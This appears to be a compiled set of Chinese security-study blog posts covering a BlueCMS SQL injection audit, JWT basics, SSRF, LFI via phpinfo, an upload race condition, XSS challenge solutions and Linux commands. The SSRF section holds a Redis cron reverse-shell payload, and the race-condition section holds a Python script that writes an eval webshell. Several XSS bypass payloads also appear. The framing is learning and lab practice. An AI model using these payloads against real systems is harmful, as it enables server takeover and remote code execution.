代码审计复现:Bluecms 1.6

写在前面

最近一阵子得了一场病,加之情感上的一件事,痛不欲生。陆陆续续的缓过来了,渡劫余生,留下该留下的。病也慢慢在恢复了。

前些日子说要学代码审计,买了本《代码审计》看了两天,为作者尹毅先生无限打call,人生导师一样的人物,经历是传奇的,努力是可见的。书中开篇点题为什么要代码审计?这是web狗的一项技能。其实,当初学安全的时候我一直想要走的方向是渗透,虽然至今也是。但是渗透就仅仅是用工具来attack么?不,渗透是一种思路,是一种积累,也是一种艺术。它是我们基础的升华,经验的绽放。脚本小子use tools will nerver be a hacker。我们要学的、做的要很多,知识面要很宽,尽管路会很难。

从今天起,至未来的一个月,会把学习的全部精力都投入到审计方向,立下flag:未来半个月内拿自己的cve

环境

cms: bulecms 1.6 sp1
php: 5.4 + mysql 5.5.53

sql注入一

代码审计

问题文件位于:/uploads/ad_js.php

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

变量未用单引号闭合,可能会引起注入

跟踪一下$ad_id,查找该参数如何获得

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

trim去掉ad_id两侧空格,未过滤参数,可注入

再追踪一下getone()函数怎么定义的,一个定义mysql相关操作的文件位于/uploads/include/mysql.class.php:

    function getone($sql, $type=MYSQL_ASSOC){
        $query = $this->query($sql,$this->linkid);
        $row = mysql_fetch_array($query, $type);
        return $row;
    }

追踪此类里query函数的定义:

    function query($sql){
        if(!$query=@mysql_query($sql, $this->linkid)){
            $this->dbshow("Query error:$sql");
        }else{
            return $query;
        }
    }

查询出错则dbshow进行报错,有结果则返回$query集合后,$row进行取值

复现

sql注入二

一开始审了一个前台/uploads/user.php的宽字节注入,记一下思路:

在mysql.class.php中看到:

mysql_query( "SET NAMES gbk");

看一下有没有进行addslashes过滤

果然对POST\GET过滤,追踪deep_addslashes

function deep_addslashes($str)
{
    if(is_array($str))
    {
        foreach($str as $key=>$val)
        {
            $str[$key] = deep_addslashes($val);
        }
    }
    else
    {
        $str = addslashes($str);
    }
    return $str;
}

联想宽字节,先追踪一下处理表单的方法

 elseif($act == 'index_login'){
     $user_name = !empty($_REQUEST['user_name']) ? trim($_REQUEST['user_name']) : '';
     $pwd = !empty($_REQUEST['pwd']) ? trim($_REQUEST['pwd']) : '';
     $remember = isset($_REQUEST['remember']) ? intval($_REQUEST['remember']) : 0;
     if($user_name == ''){
         showmsg('�û�������Ϊ��');
     }
     if($pwd == ''){
         showmsg('���벻��Ϊ��');
     }
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$user_name'");
    if($row['num'] == 1){
        showmsg('ϵͳ�û��鲻�ܴ�ǰ̨��¼');
    }
    $w = login($user_name, $pwd);

    if(defined('UC_API') && @include_once(BLUE_ROOT.'uc_client/client.php')){
        list($uid, $username, $password, $email) = uc_user_login($user_name, $pwd);
        if($uid>0){
            $password = md5($password);
            if(!$w){
                $db->query("INSERT INTO ".table('user')." (user_name, pwd, email, reg_time) VALUES ('$username', '$password', '$email', '$timestamp')"); 
                $w = 1;
            }
            $ucsynlogin = uc_user_synlogin($uid);
        }
        elseif($uid === -1){
            if($w == 1){
                $user_info = $db->getone("SELECT email FROM ".table('user')." WHERE user_name='$user_name'");
                $uid = uc_user_register($user_name, $pwd, $user_info['email']);
                if($uid > 0) $ucsynlogin = uc_user_synlogin($uid);
            }else $w = -1;
        }
        elseif($uid == -2){
            showmsg('�������');
        }
        echo $ucsynlogin;
    }
    if($w == -1 || $w == 0){
        showmsg('��������û��������벻��ȷ');
    }
    elseif($w == 1){
        update_user_info($user_name);
         if($remember==1){
             setcookie('BLUE[user_id]', $_SESSION['user_id'], time()+172800, $cookiepath, $cookiedomain);
             setcookie('BLUE[user_name]', $user_name, time()+172800, $cookiepath, $cookiedomain);
            setcookie('BLUE[user_pwd]', md5(md5($pwd).$_CFG['cookie_hash']), time()+172800, $cookiepath, $cookiedomain);
         }
         showmsg('��ӭ�� '.$user_name.' ���������ڽ�ת����Ա����', 'user.php');
     }
 }

追踪user_name怎么传入:

$user_name = !empty($_REQUEST['user_name']) ? trim($_REQUEST['user_name']) : '';

发现无过滤

再追踪一下对suername的sql语句如何执行:

$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$user_name'");

看到调用了getone()函数,第一个注入有介绍。

再看到下面一句:

    if($row['num'] == 1){
        showmsg('ϵͳ�û��鲻�ܴ�ǰ̨��¼');
    }

在admin的表中查询admin_name表中是否有传入的user_name,若存在,$row[‘num’]值为1,然后执行showmsg函数,输出:“前台无法登陆”后返回主页。值为0进行以下操作:

$w = login($user_name, $pwd);

再追踪login函数得到:

 function login($user_name,$pwd){
     global $db;
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name'");
    if($row['num']==0){
        $result = 0;
    }else{
        $sql = "SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name' and pwd=md5('$pwd')";
         $user_num = $db->getone($sql);
         if($user_num['num']){
             $result = 1;
         }else $result = -1;
    }
     return $result;
 }

到这里我们可以理解,这个页面的登陆逻辑是这样的:

如果我们的用户名是admin表中用户名,则不允许登陆
若不是表中的用户名,则会进行user表的对比查询,再判断是否有这个用户

明确思路:盲注
注入是否成功的判断条件:$row[‘num’]返回值

复现

success injection:

default injection:

google一下发现别人挖过后台登陆验证的宽字节,能够利用…

相关链接

p师傅的浅析白盒审计中的字符编码及SQL注入:http://www.freebuf.com/articles/web/31537.html

(转载)基于 Token 的身份验证

传统身份验证的方法

HTTP 是一种没有状态的协议,也就是它并不知道是谁是访问应用。这里我们把用户看成是客户端,客户端使用用户名还有密码通过了身份验证,不过下回这个客户端再发送请求时候,还得再验证一下。

解决的方法就是,当用户请求登录的时候,如果没有问题,我们在服务端生成一条记录,这个记录里可以说明一下登录的用户是谁,然后把这条记录的 ID 号发送给客户端,客户端收到以后把这个 ID 号存储在 Cookie 里,下次这个用户再向服务端发送请求的时候,可以带着这个 Cookie ,这样服务端会验证一个这个 Cookie 里的信息,看看能不能在服务端这里找到对应的记录,如果可以,说明用户已经通过了身份验证,就把用户请求的数据返回给客户端。

上面说的就是 Session,我们需要在服务端存储为登录的用户生成的 Session ,这些 Session 可能会存储在内存,磁盘,或者数据库里。我们可能需要在服务端定期的去清理过期的 Session 。

基于 Token 的身份验证方法

使用基于 Token 的身份验证方法,在服务端不需要存储用户的登录记录。大概的流程是这样的:

  • 客户端使用用户名跟密码请求登录

  • 服务端收到请求,去验证用户名与密码

  • 验证成功后,服务端会签发一个 Token,再把这个 Token 发送给客户端

  • 客户端收到 Token 以后可以把它存储起来,比如放在 Cookie 里或者 Local Storage 里

  • 客户端每次向服务端请求资源的时候需要带着服务端签发的 Token

  • 服务端收到请求,然后去验证客户端请求里面带着的 Token,如果验证成功,就向客户端返回请求的数据

JWT

实施 Token 验证的方法挺多的,还有一些标准方法,比如 JWT,读作:jot ,表示:JSON Web Tokens 。JWT 标准的 Token 有三个部分:

  • header

  • payload

  • signature

中间用点分隔开,并且都会使用 Base64 编码,所以真正的 Token 看起来像这样:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJuaW5naGFvLm5ldCIsImV4cCI6IjE0Mzg5NTU0NDUiLCJuYW1lIjoid2FuZ2hhbyIsImFkbWluIjp0cnVlfQ.SwyHTEx_RQppr97g4J5lKXtabJecpejuef8AqKYMAJc

header 部分主要是两部分内容,一个是 Token 的类型,另一个是使用的算法,比如下面类型就是 JWT,使用的算法是 HS256。

{

“typ”: “JWT”,

“alg”: “HS256”

}

上面的内容要用 Base64 的形式编码一下,所以就变成这样:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Payload

Payload 里面是 Token 的具体内容,这些内容里面有一些是标准字段,你也可以添加其它需要的内容。下面是标准字段:

  • iss:Issuer,发行者

  • sub:Subject,主题

  • aud:Audience,观众

  • exp:Expiration time,过期时间

  • nbf:Not before

  • iat:Issued at,发行时间

  • jti:JWT ID

比如下面这个 Payload ,用到了 iss 发行人,还有 exp 过期时间。另外还有两个自定义的字段,一个是 name ,还有一个是 admin 。

{

“iss”: “ninghao.net”,

“exp”: “1438955445”,

“name”: “wanghao”,

“admin”: true

}

使用 Base64 编码以后就变成了这个样子:

eyJpc3MiOiJuaW5naGFvLm5ldCIsImV4cCI6IjE0Mzg5NTU0NDUiLCJuYW1lIjoid2FuZ2hhbyIsImFkbWluIjp0cnVlfQ

Signature

JWT 的最后一部分是 Signature ,这部分内容有三个部分,先是用 Base64 编码的 header.payload ,再用加密算法加密一下,加密的时候要放进去一个 Secret ,这个相当于是一个密码,这个密码秘密地存储在服务端。

  • header

  • payload

  • secret

var encodedString = base64UrlEncode(header) + “.” + base64UrlEncode(payload);

HMACSHA256(encodedString, ‘secret’);

处理完成以后看起来像这样:

SwyHTEx_RQppr97g4J5lKXtabJecpejuef8AqKYMAJc

最后这个在服务端生成并且要发送给客户端的 Token 看起来像这样:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJuaW5naGFvLm5ldCIsImV4cCI6IjE0Mzg5NTU0NDUiLCJuYW1lIjoid2FuZ2hhbyIsImFkbWluIjp0cnVlfQ.SwyHTEx_RQppr97g4J5lKXtabJecpejuef8AqKYMAJc

客户端收到这个 Token 以后把它存储下来,下回向服务端发送请求的时候就带着这个 Token 。服务端收到这个 Token ,然后进行验证,通过以后就会返回给客户端想要的资源。

转载

本文转载自https://ninghao.net/blog/2834

初探ssrf

索引

ssrf是很常见的一个漏洞,一开始把ssrf简单的理解为链接重定向漏洞,其实也可以这么说,曾经这个漏洞影响过许多互联网企业。

危害有如下几个类型:

内网端口扫描
内网Web应用指纹识别
通过访问内网Web应用robots.txt等方式辨别cms的类型及版本然后根据公开的漏洞去攻击内网服务器
读取本地文件
读取远程文件
攻击内网其他应用,如redis,从而反弹shell

SSRF原理

cURL

curl是一个利用URL语法在命令行方式下工作的文件传输工具。PHP中有cURL的苦,叫libcurl,支持许多协议:FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE 以及 LDAP。curl同样支持HTTPS认证,HTTP POST方法, HTTP PUT方法, FTP上传, kerberos认证, HTTP上传, 代理服务器, cookies, 用户名/密码认证, 下载文件、

我们可以利用curl进行抓取网页内容

伪造请求

通俗的来说就是我们可以伪造服务器端发起的请求,从而获取客户端所不能得到的数据。SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。

类似于这样的形式:

ip:port/ssrf.php?url=xxxx

我们构造一个url请求,server端接收并访问传入的url,然后会返回给客户端相应数据(如图片等)。正常情况下,服务端希望我们传入的url是一个正常的链接,可能是站内的图片、网链,也可能是站外的其它友链。php后端使用cURL初始化一个新的cURL会话并获取一个网页。

但是,如果我们通过curl允许的协议来传递给url这个参数一些邪恶的信息呢?后果可想而知

SSRF分析

漏洞搭建

ssrf漏洞代码,未作过滤

<?php 
// 创建一个新cURL资源
$ch = curl_init(); 

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
curl_setopt($ch, CURLOPT_HEADER, 0); 

// 抓取URL并把它传递给浏览器
curl_exec($ch); 

// 关闭cURL资源,并且释放系统资源
curl_close($ch); 
?>

file协议查看文件

我们url传入的file协议语句,会在服务会执行一个curl语句,返回查询的信息。这个是基于有回显的情况,不过现在很多php后端如果这样写的话:

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1)

协议就算失效了,这种方法失败

dict协议探测端口

探测22端口(ssh服务)

http://ip:port/ssrf.php?url=dict://127.0.0.1:22/info

服务端会执行:

curl -v 'dict://127.0.0.1:22/info'

探测3306端口

http://ip:port/ssrf.php?url=dict://127.0.0.1:3306
/info

Gopher协议攻击redis反弹shell

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/要反弹的公网ip/反弹端口 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

这里网址以127.0.0.1,redis端口6379,公网ip为172.19.23.228且监听端口为2333为例
改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

302跳转

Curl默认不支持302跳转,所以需要在ssrf.php中加上一行curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)来支持跳转

代码如下:

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

php限制为http、https协议之后,我们就无法使用刚才的file dict gopher的协议了,但是我们如果开启302跳转的话可以,跳转到我们自己的vps上的网页来执行这些协议。因为服务端并没有ban掉这些协议,所以我们就找一个跳板来执行

302辅助跳转脚本:

<?php  
$schema = $_GET['schema'];
$ip     = $_GET['ip'];
$port   = $_GET['port'];
$query  = $_GET['query'];

echo "\n";
echo $schema . "://".$ip."/".$query;

if(empty($port)){  
    header("Location: $schema://$ip/$query");
} else {
    header("Location: $schema://$ip:$port/$query");
}

通过http/s协议引入我们自己的php脚本,这样就可以执行其他协议语句
发送的请求如下:

http://127.0.0.1/ssrf.php?url=http://your vps's ip/302.php?schema=dict%26ip=127.0.0.1%26port=22%26query=info

注意是POST请求还是GET请求

SSRF挖掘

社交分享功能
转码服务
在线翻译
在线代理浏览器
图片加载/下载
图片/文章收藏功能
API或调用外部URL的功能

SSRF绕过

IP地址转换绕过

数字地址(十进制):127.0.0.1->2130706433
十六进制:127.0.0.1->0x7F000001或0x7F.00.00.01或0x7F.0x00.0x00.0x01
八进制: 127.0.0.1->0177.0.0.1或0177.00.00.01
省略写法:127.0.0.1->127.1

xip.io绕过

127.0.0.1.xip.io
www.127.0.0.1.xip.io
xxx.127.0.0.1.xip.io
fuzz.xxx.127.0.0.1.xip.io

相关链接

利用 gopher 协议拓展攻击面

浅析SSRF原理及利用方式

SSRF漏洞分析与利用

Socket套接字编程学习

写在前面

最近接触到socket模块,练一下python能力,写一个通过socket(套接字)的tcp的连接,执行命令并回显。模拟ncat的正向连接功能

Socket套接字

TCP用主机的IP地址加上主机上的端口号作为TCP连接的端点,这种端点就叫做套接字(socket)或插口

套接字用(IP地址:端口号)表示。例如:192.168.1.1:8080

它是网络通信过程中端点的抽象表示,包含进行网络通信必需的五种信息:连接使用的协议,本地主机的IP地址,本地进程的协议端口,远地主机的IP地址,远地进程的协议端口。

TCP/IP协议的三种套接字类型:

流式套接字(SOCK_STREAM):
流式套接字用于提供面向连接、可靠的数据传输服务。该服务将保证数据能够实现无差错、无重复发送,并按顺序接收。流式套接字之所以能够实现可靠的数据服务,原因在于其使用了传输控制协议,即TCP(The Transmission Control Protocol)协议。

数据报套接字(SOCK_DGRAM):
数据报套接字提供了一种无连接的服务。该服务并不能保证数据传输的可靠性,数据有可能在传输过程中丢失或出现数据重复,且无法保证顺序地接收到数据。数据报套接字使用UDP(User Datagram Protocol)协议进行数据的传输。由于数据报套接字不能保证数据传输的可靠性,对于有可能出现的数据丢失情况,需要在程序中做相应的处理。

原始套接字(SOCK_RAW):
原始套接字(SOCKET_RAW)允许对较低层次的协议直接访问,比如IP、 ICMP协议,它常用于检验新的协议实现,或者访问现有服务中配置的新设备,因为RAW SOCKET可以自如地控制Windows下的多种协议,能够对网络底层的传输机制进行控制,所以可以应用原始套接字来操纵网络层和传输层应用。比如,我们可以通过RAW SOCKET来接收发向本机的ICMP、IGMP协议包,或者接收TCP/IP栈不能够处理的IP包,也可以用来发送一些自定包头或自定协议的IP包。网络监听技术很大程度上依赖于SOCKET_RAW
原始套接字与标准套接字(标准套接字指的是前面介绍的流式套接字和数据报套接字)的区别在于:原始套接字可以读写内核没有处理的IP数据包,而流式套接字只能读取TCP协议的数据,数据报套接字只能读取UDP协议的数据。因此,如果要访问其他协议发送数据必须使用原始套接字。

编程思路

tcp服务端

1、创建一个套接字,选择tcp流通信,并且绑定套接字到本地ip和端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind()

2、开始监听

s.listen(5) # 一般5的最大连接就够了

3、循环接收客户端连接要求

while True:
    conn,addr=s.accept() # 接收tcp连接,并返回一个新的套接字conn,和ip地址addr

这个套接字的作用:
作为介质,用来接收客户端的信息、返回给客户端信息。服务端在接收这个conn套接字后跟客户端共用此套接字。

4、执行接收的命令,结果的数据返回给客户端。

5、传输完毕关闭套接字

tcp客户端

1、创建一个套接字并连接远端

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect()

2、 连接后发送数据和接收数据

3、 传输完毕关闭套接字

代码执行

服务端

客户端

效果

相关链接

(Python Socket 编程详细介绍)[https://gist.github.com/kevinkindom/108ffd675cb9253f8f71]

(python socket编程详细介绍Ⅱ)[http://blog.51cto.com/yangrong/1339593]

LFI with phpinfo测试

基础知识

本地文件包含,英文Local File Include,简称LFI。文件包含是一种简化代码、提高代码重用率的方法。但是,由于没有正确处理用户输入,导致本地文件包含漏洞。黑客可以通过漏洞包含非PHP执行文件,如构造包含PHP代码的图片木马、临时文件、session文件、日志等来达到执行PHP代码的目的。

环境

一个简单的文件上传,无任何过滤的页面:

Lfi.php:

<?php include $_GET['file'];

&一个phpinfo页面
docker复现的环境,这里吐槽一下ubantu..

思路

php引擎对表单的处理

以上传文件的方式请求任意PHP文件,服务器都会创建临时文件来保存文件内容
PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:
1、请求到达;

2、创建临时文件,并写入上传文件的内容;

3、调用相应PHP脚本进行处理,如校验名称、大小等;

4、删除临时文件。

PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。对phpinfo.php发起请求,会在/tmp下生成一个临时文件。其中临时文件内容正是我们POST请求中文件内容,临时文件的名称是php+随机数字.tmp,正中本地文件包含痛点。

分块传输

php默认的输出缓冲区大小为4096,也就是四字节,可以理解为php每次返回4096个字节给socket连接

攻击过程

画了一个流程图,利用发送给phpinfo数据包发送给包含点的数据包之间的时间差,来写入一个永久的文件,具体在流程图体现

执行

执行exp

懒得贴图了,看链接吧
PHP文件包含漏洞(利用phpinfo)

相关链接

在实际情况中,如果要修改poc参数,参考链接
LFI with PHPInfo本地测试过程

文件上传竞争

刚才的竞争是数据从socket client到service过程和POST数据到文件包含过程的竞争,借助了文件包含这个点来生成一个webshell,或者执行系统命令的参数。

文件竞争是多线程与服务期间的竞争。首先将文件上传到服务器,然后检测文件后缀名(或者是有害文件),如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。

exp

import os
import requests
import threading

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = "http://127.0.0.1:8080/upload/shell0.php"
        self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print("[*]create file info.php success")
            os._exit(0)

    def _upload(self):
        print("upload file.....")
        file = {"file":open("shell0.php","r")}
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(5):
                self._get()
            for i in range(10):
                self._upload()
                self._get()

if __name__ == "__main__":
    threads = 20

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join()

前端代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="myfile"/>
    <input type="submit" value="上传"/>
</form>
</body>
</html>

后端代码

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['myfile']['name'];

if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
    if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
        die("error:can not move!");
    }
} else {
    die("error:not an upload file!");
}

$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if ($_FILES['myfile']['error'] > 0){
    unlink($newfile);
    die("Upload file error: ");
}

$ext = array_pop(explode(".",$_FILES['myfile']['name']));
if (!in_array($ext,$allowtype)){
    unlink($newfile);
    die("error:upload the file type is not allowed,delete the file!");
}
?>

写在后面

很遗憾,文件上传竞争我没跑出来。最新学一下socket写个py吧,脚本转化能力太菜了

xss从零开始(三)之怒刷google-xss

索引

xss太好玩了,刷题刷题~

level 1 easypass

地址:https://xss-game.appspot.com/level1
easy

<script>alert(1)</alert>

level 2 img标签+事件绕过

地址:https://xss-game.appspot.com/level2

过滤script标签,用事件绕过

<img src=x onerror="alert(1)">

level 3 window.location.hash

地址:https://xss-game.appspot.com/level3


看到url里,有“#”号,联想window.location.hash
那么什么是window.location.hash呢?

window.location.hash属性介绍
location是javascript里边管理地址栏的内置对象,比如location.href就管理页面的url,用location.href=url就可以直接将页面重定向url。而location.hash则可以用来获取或设置页面的标签值。比如http://domain/#admin的location.hash="#admin"。利用这个属性值可以做一个非常有意义的事情。

也就是说页面会截取#后面的内容,再将这个值替换到url里进行重定向,这里提交一句话分析一下


如果我们以单引号结尾,我们猜测这个页面会截取单引号前面的内容并把它闭合到src的双引号里。并且在后面的jpg后再追加一个单引号。既然能脱离单引号,一切都好办了,我们用on事件构造:

4' onerror="alert(1)"

成功弹框

level4 编码绕过

地址:https://xss-game.appspot.com/level4

题目给了一个自己写的js函数叫做startime,执行时会进行相应的延时
函数的闭合如图:

思路是在onload事件里构造语句,出现弹框,但是过滤了分号,那么我们可以用URL编码来代替分号

1')%3Balert('1

还有两种思路:

1') || alert('1

也可以用下面这种方法,不需要任何编码/操作符:

1');alert(1);//

我尝试用html编码绕,但是过滤了&和#

level 5

地址:https://xss-game.appspot.com/level5

这题看提示,注意singup页面的url

singup页面还看到了next按钮,查看元素发现:

奥,事情不简单,我们传入一个next值,然后重定向给href属性。果断用javascript伪协议
payload:

?next=javascript:alert(1)

弹框~

level 6

地址:https://xss-game.appspot.com/level6

这题会截取#以后的内容,加载到一个新的script标签里的src属性内。我认为是引入一个js脚本的意思。如图

这里利用DATA URI Scheme来执行js代码

http://xss-game.appspot.com/level6/frame#data:text/javascript,alert(1);

xss从零开始(二)之怒刷xss-quiz

刷题

话不多说,刷题,平台:xss-quiz

chanllenge1

直接丢payload

<script>alert(document.domain)</script>

document.domain 弹出当前网页的网址

challenge2

随便查一个语句看一下浏览器是怎么渲染的

查询的东西嵌在input标签里的value属性里,解析不到script标签不会调用Js,构造一下bypass逃逸input标签。

"><script>alert(document.domain)</script>value="12

challenge3 其它input框的xss

题目地址

普通构造,右键源码发现把尖括号实体化编码了。

用编码没绕过去,p2选择出存在xss无过滤,改一下参数为构造语句再提交

challenge4 隐藏input框

题目地址

隐藏有个p3输入框,type从hidden改为test,构造payload:

"><script>alert(document.domain)</script><value="

challenge5 长度限制

题目地址

长度限制改一下就行了

"><script>alert(document.domain)</script><value="

challenge6 on事件bypass尖括号

题目地址

过滤了尖括号,用其它事件绕过去,注意查看元素构造Payload:

鼠标向上移动触发js事件:"onmouseover="alert(document.domain)",onmouseover要脱离引号,alert在引号内。

鼠标点击触发js事件:"onclick="alert(document.domain)"

事件会在页面或图像加载完成后立即发生:onload="alert(document.domain)"

challenge7 过滤尖括号和双引号和&

题目地址

经测试,输入空格会自动把前面补一个双引号,然后自己多构造一下找规律就行
bypass

a onclick=alert(document.domain)

challenge8 javascript伪协议

从网上学习到:看到输出是在href属性下,用javascript伪协议

常见用到伪协议的属性如下:

src
href
backgroud

学了一波javascript伪协议,看到离歌师傅有一篇文章写的javascript伪协议与url编码联合bypass的文章,感叹还有这种姿势,但是这个道题应该用不到编码,但是我尝试了一下javascript伪协议确实会把“符号”变为“字符串”,从而使用编码,具体看师傅的文章:
利用location来变形我们的XSS Payload

bypass:

javascript:alert(document.domain);

等价的bypass

javascript:alert%28document.domain%29;

challenge9

utf-7编码,看到网上说有问题,直接跳过

challenge10 过滤特定字符

题目地址

过滤了domain,构造出来domain

"><script>alert(document.domdomainain)</script>"<value="

challenge11 编码绕过

题目地址(http://xss-quiz.int21h.jp/stage11th.php?sid=ac29e65dc2666674f15adbe46a2c4af6397173ff)

这题过滤很多:
1,script会被替换为xscript 

2,on事件会被替换为onxxx

3,style会被替换为stxxx

想用html编码绕过构造script标签,结果如下:

后来测试发现,浏览器再解析xml时,先把标签解析成DOM树,而在标签名解析的时候不会解释html编码。解析成DOM树后,html编码解析只对
标签里面属性的值进行解码的。

例如:

<a text="scr&#105;pt"></a>

会被解析为:

<a text="script"></a>

但是脱离属性外的值不会被解码,例如:

<a text="abc" "scr&#105;pt"></a>

还是会被解析成

<a text="abc" "scr&#105;pt"></a>

所以我们构造script标签的思路行不通,那我们可以用html编码构造事件,但是构造事件又会脱离“属性”这个范围,编码不会被解析。那我们就重新构造标签,利用href属性和Javascript伪协议
bypass

"><a href=javascr&#105;pt:alert(document.domain)>xss</a>

challenge12

过滤了<>和双引号,绕不过去双引号闭合,我们用html编码构造的双引号会被认为成“字符串型”的引号,而不是“符号”,所以不能逃逸出来,看到网上wp说用`可以代替引号,前提是IE8浏览器才能这么解释,这里没什么实战意义,就不做了

challenge15 document.write()

题目地址

这题过滤了尖括号,双引号,但在input标签之上引用了document.write的方法,那么什么是document.write方法呢?

w3c里是这样定义的:
write() 方法可向文档写入 HTML 表达式或 JavaScript 代码。
可列出多个参数(exp1,exp2,exp3,…) ,它们将按顺序被追加到文档中。

也就是说我们在write一下插入的代码就是js范畴了,\u + Unicode编码这种形式是js的编码方法,所以会被解释为<,但是document.write在输出的时候会JavascriptDecode一下数据,会把数据原有\去除,即php里面的stripslashes。

因此我们要用\来替代\,payload:

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

一种是unicode编码,一种是\x + 16进制,都可以绕过

总结

剩下的题目有些环境严苛不做研究。总结一下,能调用js的方式:一些on事件,如:onmouseover、onclick、onerror等等。或者script标签,如果是标签的话,要脱离其它标签才能开启js解析调用。还有就是一些特定的方法,现在接触到的只有一个document.write。

学会构造、学会用javascript伪协议,学会编码绕过,知道浏览器解析的顺序,that’s important~

xss从零开始(一)

写在前面

这两天事情比较多,学习了一下scrapy只能简单的爬一下没有登陆模拟的页面,以后再写登陆模拟的接口。一直说要学xss却没怎么起步,就是做过几个题粗略的了解。准备系统的学习xss和html内的构造、CSS的渲染。找到一些大神的学习手册,跟着学习一下

一个简单的demo

输出所输入的内容

demo代码

Html知识补充

id属性

id只能唯一,识别作用

class属性

定义的类可以多次引用

div标签

可定义文档中的分区或节(division/section)。
标签可以把文档分割为独立的、不同的部分。它可以用作严格的组织工具,并且不使用任何格式与其关联。如果用 id 或 class 来标记
,那么该标签的作用会变得更加有效。

div就是一块区域的标签,可以对同一个

元素应用 class 或 id 属性,但是更常见的情况是只应用其中一种。这两者的主要差异是,class 用于元素组(类似的元素,或者可以理解为某一类元素),而 id 用于标识单独的特定的元素。不必为每一个
都加上类或 id。

span标签

自己定义名称的标签,你也可以命名为a标签或者hpdoger标签,标记好id就行

Input标签

输入标签,定义class可以选择demo,type规定输入类型,记得标记id

button标签

字如其名,按钮作用

document.querySelector

获取文档中 id=”demo” 的元素:

document.querySelector("#demo");

innerHTML

innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。

这里就是在span标签之间插入value

xss测试

我们插一个Script看是否会弹框

没有弹框,看一下script的位置,原因如下:

w3c规范innerHTML这个api插入的script标签不会被执行

linux基本使用

写在前面

参加了一个小组内的awd,体验感极差,上来被人抓着phpmyadmin改了密码,无限被check,非root用户我不会改mysql密码(其实当时是没意识到),在查linux文件、编辑、复制过程中一度出现命令忘记。。在这篇持续记录一下自己使用的centos7的命令吧。。

用户和组

查看自己的用户名

whoami

增加一个test组

groupadd test

删除一个test组

groupdel test2

查看当前用户所在的组

gours

查看所有组

cat /etc/group

添加用户(参考帮助文档进行用户配置)

useradd -g test -m  hpdoger #添加hpdoger到test组并创建用户目录(要先创建test组)

具体参考 useradd -help

若想创建不能登陆的用户

useradd -g test2 -M -s /sbin/nologin hpdoger #添加hpdoger到test组不创建用户目录,并且不可用于登录

修改hpdoger用户密码

passwd hpdoger

